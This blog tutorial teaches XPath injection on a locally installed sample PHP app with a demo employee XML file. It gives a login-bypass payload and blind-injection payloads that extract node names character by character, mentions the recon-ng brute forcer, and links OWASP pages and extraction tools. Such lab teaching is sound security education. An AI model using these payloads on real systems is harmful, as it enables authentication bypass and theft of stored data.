XPATH INJECTION TUTORIAL 2016

<div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;">XPath is a language that has been designed and developed to operate on data that is described with XML. The XPath injection allows an attacker to inject XPath elements in a query that uses this language. Some of the possible goals are to bypass authentication or access information in an unauthorized manner.</span></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhsRWP44xurU3lUBUqLzaQzLw86zDGhRq2B-2e9zJsasNQPVk9Q9XYavuJuAKr-YdpulXd4i1FBhSww8e5Tke3hyLZYiQpckBlB4MWOxIY6qE_90_0Y9QxD57es4ZwCW5VArnUWuhdT8ec/s1600/xpath_injection_ashtricks1.png" style="margin-left: auto; margin-right: auto;"><img alt="XPATH INJECTION TUTORIAL 2016" border="0" height="324" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhsRWP44xurU3lUBUqLzaQzLw86zDGhRq2B-2e9zJsasNQPVk9Q9XYavuJuAKr-YdpulXd4i1FBhSww8e5Tke3hyLZYiQpckBlB4MWOxIY6qE_90_0Y9QxD57es4ZwCW5VArnUWuhdT8ec/s640/xpath_injection_ashtricks1.png" title="XPATH INJECTION TUTORIAL 2016" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">XPATH INJECTION TUTORIAL 2016</td></tr></tbody></table><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;"><br style="outline: none medium;" /><br style="outline: none medium;" />We are gonna learn using the simple example. Download code from <a href="http://www.4shared.com/zip/SleYPtv8/xpath.html" style="border-image-outset: initial; border-image-repeat: initial; border-image-slice: initial; border-image-source: initial; border-image-width: initial; border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;">here</a> & put it in your local server directory.(Code is created by Amol Naik )<br style="outline: none medium;" /><br style="outline: none medium;" />Sample XML Document which we gonna use:-<br style="outline: none medium;" /><br style="outline: none medium;" /><Employees> <br style="outline: none medium;" /><!-- Employees Database --> <br style="outline: none medium;" />  <Employee ID="1"> <br style="outline: none medium;" />    <FirstName>Johnny</FirstName> <br style="outline: none medium;" />    <LastName>Bravo</LastName> <br style="outline: none medium;" />    <UserName>jbravo</UserName> <br style="outline: none medium;" />    <Password>test123</Password> <br style="outline: none medium;" />    <Type>Admin</Type> <br style="outline: none medium;" />  </Employee> <br style="outline: none medium;" />  <Employee ID="2"> <br style="outline: none medium;" />    <FirstName>Mark</FirstName> <br style="outline: none medium;" />    <LastName>Brown</LastName> <br style="outline: none medium;" />    <UserName>mbrown</UserName> <br style="outline: none medium;" />    <Password>demopass</Password> <br style="outline: none medium;" />    <Type>User</Type> <br style="outline: none medium;" />  </Employee> <br style="outline: none medium;" />  <Employee ID="3"> <br style="outline: none medium;" />    <FirstName>William</FirstName> <br style="outline: none medium;" />    <LastName>Gates</LastName> <br style="outline: none medium;" />    <UserName>wgates</UserName> <br style="outline: none medium;" />    <Password>MSRocks!</Password> <br style="outline: none medium;" />    <Type>User</Type> <br style="outline: none medium;" />  </Employee> <br style="outline: none medium;" />  <Employee ID="4"> <br style="outline: none medium;" />    <FirstName>Chris</FirstName> <br style="outline: none medium;" />    <LastName>Dawes</LastName> <br style="outline: none medium;" />    <UserName>cdawes</UserName> <br style="outline: none medium;" />    <Password>letmein</Password> <br style="outline: none medium;" />    <Type>User</Type> <br style="outline: none medium;" />  </Employee> <br style="outline: none medium;" /></Employees> <br style="outline: none medium;" /></span></div><h3 style="background: rgb(251, 251, 239); border-bottom-color: rgb(1, 223, 1); border-bottom-style: solid; border-radius: 0px 0px 6px 6px; border-width: 0px 0px 4px; box-shadow: rgb(170, 170, 170) 1px 1px 2px; font-stretch: inherit; font-weight: 400; line-height: 1; margin: 6px 3px; outline: none medium; padding: 4px 10px; text-shadow: rgb(170, 170, 170) 1px 1px 1px; text-transform: capitalize; vertical-align: baseline; width: 598.5px;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: small;">Bypass Authentication:-</span></h3><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;"><br style="outline: none medium;" />Browse to the login.php page; here we can see the simple login form.</span></div><span style="font-family: Arial, Helvetica, sans-serif;"><br style="background-color: white; line-height: 22.4px; outline: none medium;" /></span><div class="separator" style="background-color: white; border: 0px; clear: both; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghf6g-fil6prW-sauScF_y-UAVOvDGjFicFOoNHOm0Pj653U5NJSd5QysclyA5x-MiqT0KSi0AfpOWS9AcDYCzMQ2QOonAqsemSVazMJtQ9ucGiQrkFtOXKDgNWHLllRV9mZM0Yihk4M1j/s1600/login.PNG" style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><span style="color: black; font-family: Arial, Helvetica, sans-serif;"><img alt="Bypass Authentication" border="0" height="174" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghf6g-fil6prW-sauScF_y-UAVOvDGjFicFOoNHOm0Pj653U5NJSd5QysclyA5x-MiqT0KSi0AfpOWS9AcDYCzMQ2QOonAqsemSVazMJtQ9ucGiQrkFtOXKDgNWHLllRV9mZM0Yihk4M1j/s320/login.PNG" style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="Bypass Authentication" width="320" /></span></a></div><span style="font-family: Arial, Helvetica, sans-serif;"><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">If the application does not properly filter such input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">Username: ' or '1' = '1</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">Password:  ' or '1' = '1</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /></span><br /><div class="separator" style="background-color: white; border: 0px; clear: both; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtU_DZoP-Al89zIVKpL34M7qI4ZmkO6GnuYysUh7N2ywRtnqNEUKX3pkjftCbFbTp0WqkDJ8QWRyki15f-Z90COR3voUPbp0lXY4Nmm-62uBKB6rZamU0YSyN9ucyTiQnk2e-kbCsGOn_N/s1600/Bypass-Login.PNG" style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><span style="color: black; font-family: Arial, Helvetica, sans-serif;"><img alt="Bypass Authentication using XPATH injection" border="0" height="164" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtU_DZoP-Al89zIVKpL34M7qI4ZmkO6GnuYysUh7N2ywRtnqNEUKX3pkjftCbFbTp0WqkDJ8QWRyki15f-Z90COR3voUPbp0lXY4Nmm-62uBKB6rZamU0YSyN9ucyTiQnk2e-kbCsGOn_N/s320/Bypass-Login.PNG" style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="Bypass Authentication using XPATH injection" width="320" /></span></a></div><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"></div><span style="font-family: Arial, Helvetica, sans-serif;"><a href="https://www.blogger.com/null" name="more" style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"></a><span style="background-color: white; line-height: 22.4px;">Looks quite familiar, doesn't it? Using these parameters, the query becomes:</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">string(//Employee[uname/text()='' or '1' = '1' and passwd/text()='' or '1' = '1']/account/text())</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><span style="background-color: white; line-height: 22.4px;">As in a common SQL Injection attack, we have created a query that is always evaluated as true, which means that the application will authenticate the user even if a username or a password have not been provided.</span><br style="background-color: white; line-height: 22.4px; outline: none medium;" /><br style="background-color: white; line-height: 22.4px; outline: none medium;" /></span><br /><h3 style="background: rgb(251, 251, 239); border-bottom-color: rgb(1, 223, 1); border-bottom-style: solid; border-radius: 0px 0px 6px 6px; border-width: 0px 0px 4px; box-shadow: rgb(170, 170, 170) 1px 1px 2px; font-stretch: inherit; font-weight: 400; line-height: 1; margin: 6px 3px; outline: none medium; padding: 4px 10px; text-shadow: rgb(170, 170, 170) 1px 1px 1px; text-transform: capitalize; vertical-align: baseline; width: 598.5px;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: small;">Blind XPath Injection:-</span></h3><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;"><br style="outline: none medium;" />If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us reconstruct its internal logic, it is possible to perform a Blind XPath Injection attack whose goal is to reconstruct the whole data structure.<br style="outline: none medium;" /><br style="outline: none medium;" />Browse to the search.php page. Enter any number, When you provide number it will display FirstName related to their ID.</span></div><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;"><br style="outline: none medium;" /></span></div><div class="separator" style="background-color: white; border: 0px; clear: both; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiX85AvMvX5krT5Knq4hSPwhXMxvBfrSPs4mD45SmWnGJrYeN1OJiOTreXuyYMkxPUeBpHcYBe8XFdw3IkGuOVHAr__50F7ReqDi5oRdPbphTNrJEg__jC_CnfqggJhA36myDnCgxri4EY/s1600/search-first-name.PNG" style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><span style="color: black; font-family: Arial, Helvetica, sans-serif;"><img alt="Blind XPATH Injection" border="0" height="111" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiX85AvMvX5krT5Knq4hSPwhXMxvBfrSPs4mD45SmWnGJrYeN1OJiOTreXuyYMkxPUeBpHcYBe8XFdw3IkGuOVHAr__50F7ReqDi5oRdPbphTNrJEg__jC_CnfqggJhA36myDnCgxri4EY/s320/search-first-name.PNG" style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="Blind XPATH Injection" width="320" /></span></a></div><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;">Enter ' or '1' = '1 in search , & you will get all FirstName regardless of any ID(Number).</span></div><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;"><br style="outline: none medium;" /></span></div><div class="separator" style="background-color: white; border: 0px; clear: both; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmaPuXqUTqbyncHBDEH_NnCfMY1aa8xFBxI6coTMHu_GrlLckRimdXzUuot3l9G3nucQ1-7DPSq3YYnjPcMoe37NycXQsHPOUAW6keW6eePGivqaJYUJa-_JEAjcNlxJUI-osKlqJ9dDor/s1600/Bypass.PNG" style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><span style="color: black; font-family: Arial, Helvetica, sans-serif;"><img alt="Blind XPATH Injection" border="0" height="118" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmaPuXqUTqbyncHBDEH_NnCfMY1aa8xFBxI6coTMHu_GrlLckRimdXzUuot3l9G3nucQ1-7DPSq3YYnjPcMoe37NycXQsHPOUAW6keW6eePGivqaJYUJa-_JEAjcNlxJUI-osKlqJ9dDor/s320/Bypass.PNG" style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="Blind XPATH Injection" width="320" /></span></a></div><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;">In blind XPath injection, we have to provide the specially crafted query to the application, if the query is true we will get result otherwise, we will not get any result.Till now We don`t know about any parent or child node of an XML document.</span></div><h3 style="background: rgb(251, 251, 239); border-bottom-color: rgb(1, 223, 1); border-bottom-style: solid; border-radius: 0px 0px 6px 6px; border-width: 0px 0px 4px; box-shadow: rgb(170, 170, 170) 1px 1px 2px; font-stretch: inherit; font-weight: 400; line-height: 1; margin: 6px 3px; outline: none medium; padding: 4px 10px; text-shadow: rgb(170, 170, 170) 1px 1px 1px; text-transform: capitalize; vertical-align: baseline; width: 598.5px;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: small;">Guessing Of Parent Node:-</span></h3><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;"><br style="outline: none medium;" />Supply the following query to application & observe the result.<br style="outline: none medium;" /><br style="outline: none medium;" />' or substring(name(parent::*[position()=1]),1,1)='a<br style="outline: none medium;" /><br style="outline: none medium;" />Nothing append , we don`t get FirstName of users.<span style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">It means the first letter of the parent node is not "a"</span>. Now supply the following query<br style="outline: none medium;" /><br style="outline: none medium;" />' or substring(name(parent::*[position()=1]),1,1)='E</span></div><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;"><br style="outline: none medium;" /></span></div><div class="separator" style="background-color: white; border: 0px; clear: both; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj657KlYHfM3nvC9N7Y_JVpq6bmoj8MYjLpFAc9OU5w1dkyBnKQNtD79v7g-13OWHT4SrdUroCZoEKonF1BaQSLsn7iMy4u8TnEF3WR3dkC4VWCMW_fWNDceohDFuQ4tXLS_4gD-icGgWLj/s1600/Blind-xpath.PNG" style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><span style="color: black; font-family: Arial, Helvetica, sans-serif;"><img alt="Blind XPATH Injection" border="0" height="119" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj657KlYHfM3nvC9N7Y_JVpq6bmoj8MYjLpFAc9OU5w1dkyBnKQNtD79v7g-13OWHT4SrdUroCZoEKonF1BaQSLsn7iMy4u8TnEF3WR3dkC4VWCMW_fWNDceohDFuQ4tXLS_4gD-icGgWLj/s320/Blind-xpath.PNG" style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="Blind XPATH Injection" width="320" /></span></a></div><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;">You get result , <span style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">It means the first letter of parent node is "E"</span></span></div><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;"><br style="outline: none medium;" />To guess the second letter of parent node supply the following query<br style="outline: none medium;" /><br style="outline: none medium;" />' or substring(name(parent::*[position()=1]),2,1)='m<br style="outline: none medium;" /><br style="outline: none medium;" />Following the same procedure, we can extract the full name of the parent node, which was found to be '<span style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Employee</span>'.</span></div><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;"><br style="outline: none medium;" />We can also get child node. Browse to the xpath.php page & enter the following query.<br style="outline: none medium;" /><br style="outline: none medium;" />//Employee[position()=3]/child::node()[position()=4]/text()</span></div><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;"><br style="outline: none medium;" /></span></div><div class="separator" style="background-color: white; border: 0px; clear: both; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9c4ff1xcgApAlYPHPG8QjGDykT29xnfcTfJ2u2r90ORjhL3s6emnvlZOQOs9yMBAyNFuVsNBnuR5GuvDSlqYUJrWz59H1OF4LxvLao9_s5KIHiGLWUhN_Jb4e3eriSIfCqN_EX49Ryf2u/s1600/Retriev+DATA.PNG" style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><span style="color: black; font-family: Arial, Helvetica, sans-serif;"><img alt="get-child-node" border="0" height="112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9c4ff1xcgApAlYPHPG8QjGDykT29xnfcTfJ2u2r90ORjhL3s6emnvlZOQOs9yMBAyNFuVsNBnuR5GuvDSlqYUJrWz59H1OF4LxvLao9_s5KIHiGLWUhN_Jb4e3eriSIfCqN_EX49Ryf2u/s320/Retriev+DATA.PNG" style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="get-child-node" width="320" /></span></a></div><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;">You got output from parent node Employee id 3 & child node whose position is 2.</span></div><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;"><br style="outline: none medium;" />To get the whole document put following query.<br style="outline: none medium;" /><br style="outline: none medium;" />//Employee</span></div><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;"><br style="outline: none medium;" /></span></div><div class="separator" style="background-color: white; border: 0px; clear: both; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKCQqZUeaNel3psgFCetOROMU-no8pZx7_nl02-DzkRnhuNB7P72FxpqMwx8wamfBuTI3e5ziuGqthNtmxx1Tug-dqtmg6t6nxUwr0j9cQ6NKpUCBRcnE2l9R6zhfByv68M0WbeqtXgzPO/s1600/GET-DATA.PNG" style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><span style="color: black; font-family: Arial, Helvetica, sans-serif;"><img alt="Blind Xpath injection" border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKCQqZUeaNel3psgFCetOROMU-no8pZx7_nl02-DzkRnhuNB7P72FxpqMwx8wamfBuTI3e5ziuGqthNtmxx1Tug-dqtmg6t6nxUwr0j9cQ6NKpUCBRcnE2l9R6zhfByv68M0WbeqtXgzPO/s320/GET-DATA.PNG" style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="Blind Xpath injection" width="320" /></span></a></div><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;">It`s just concept how to retrieve data from XML document using XPATH injection.XPath contains two useful functions that can help you automate the preceding attack and quickly iterate through all nodes and data in the XML document:</span></div><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;"><br style="outline: none medium;" /></span></div><ul style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; list-style: none outside none; margin: 10px 0px 10px 20px; outline: none medium; padding: 0px; vertical-align: baseline;"><li style="background: url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUAyhlbC5yCF-PN2I968EEzKN2CwPneb3gVOioBGCKJDjgwDmk7W0XBKQ_obAsNBAzlv4kuDPdamp8hBi4QFqF8Hxe5wfB9rajgPk6C3ZoLOGIIOJPk7IWtYc1vLKzxlF291pbYK7kIQXK/s24/w2b_bloggerbullet.png") left center no-repeat scroll transparent; border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 22px; list-style: none outside none; margin: 7px 0px; outline: none medium; padding: 0px 0px 0px 30px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;">count() returns the number of child nodes of a given element, which can be used to determine the range of position() values to iterate over.</span></li><li style="background: url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUAyhlbC5yCF-PN2I968EEzKN2CwPneb3gVOioBGCKJDjgwDmk7W0XBKQ_obAsNBAzlv4kuDPdamp8hBi4QFqF8Hxe5wfB9rajgPk6C3ZoLOGIIOJPk7IWtYc1vLKzxlF291pbYK7kIQXK/s24/w2b_bloggerbullet.png") left center no-repeat scroll transparent; border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 22px; list-style: none outside none; margin: 7px 0px; outline: none medium; padding: 0px 0px 0px 30px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;"> string-length() returns the length of a supplied string, which can be used to determine the range of substring() values to iterate over.</span></li></ul><div style="background-color: white; border: 0px; font-stretch: inherit; line-height: 22.4px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;">I used recon-ng xpath brute forcer for XPath injection attack & we will get back end XML file.<br style="outline: none medium;" /></span><div class="separator" style="border-image-outset: initial; border-image-repeat: initial; border-image-slice: initial; border-image-source: initial; border-image-width: initial; border: 0px; clear: both; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhezgYCtc5G6lbuamZqGU-P9ix_SZbxWZEIIdjeT2MBmBTUrqMsaj7Hex4CFZAM3AHOP5YrRkdnUpa5IWq20ejusDaBkd3Nii9AEFuL3njlyaYtU9EoH8qWPOOR-OYTzHitmb16LJXap-Ov/s1600/Screenshot.png" style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><span style="color: black; font-family: Arial, Helvetica, sans-serif;"><img alt="xapth-bruteforcer" border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhezgYCtc5G6lbuamZqGU-P9ix_SZbxWZEIIdjeT2MBmBTUrqMsaj7Hex4CFZAM3AHOP5YrRkdnUpa5IWq20ejusDaBkd3Nii9AEFuL3njlyaYtU9EoH8qWPOOR-OYTzHitmb16LJXap-Ov/s320/Screenshot.png" style="border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="xapth-bruteforcer" width="320" /></span></a></div><span style="font-family: Arial, Helvetica, sans-serif;"><br style="outline: none medium;" />Useful Links & Blind XPATH injection Tools:-<br style="outline: none medium;" /><br style="outline: none medium;" /><a href="https://www.owasp.org/index.php/XPATH_Injection" style="border-image-outset: initial; border-image-repeat: initial; border-image-slice: initial; border-image-source: initial; border-image-width: initial; border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;">https://www.owasp.org/index.php/XPATH_Injection</a><br style="outline: none medium;" /><a href="http://www.blogger.com/goog_913170007" style="border-image-outset: initial; border-image-repeat: initial; border-image-slice: initial; border-image-source: initial; border-image-width: initial; border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><br style="outline: none medium;" /></a><a href="https://www.owasp.org/index.php/Blind_XPath_Injection" style="border-image-outset: initial; border-image-repeat: initial; border-image-slice: initial; border-image-source: initial; border-image-width: initial; border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;">https://www.owasp.org/index.php/Blind_XPath_Injection</a><br style="outline: none medium;" /><br style="outline: none medium;" />XPATH BLIND EXPLORER:-  <a href="http://code.google.com/p/xpath-blind-explorer/downloads/list" style="border-image-outset: initial; border-image-repeat: initial; border-image-slice: initial; border-image-source: initial; border-image-width: initial; border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;">http://code.google.com/p/xpath-blind-explorer/downloads/list</a><br style="outline: none medium;" /><br style="outline: none medium;" />XCAT:-  <a href="https://github.com/orf/xcat" style="border-image-outset: initial; border-image-repeat: initial; border-image-slice: initial; border-image-source: initial; border-image-width: initial; border: 0px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;">https://github.com/orf/xcat</a></span></div>

XPath is a language that has been designed and developed to operate on data that is described with XML. The XPath injection allows an attack...

View Post

Easy Way To Hack Website in 2016

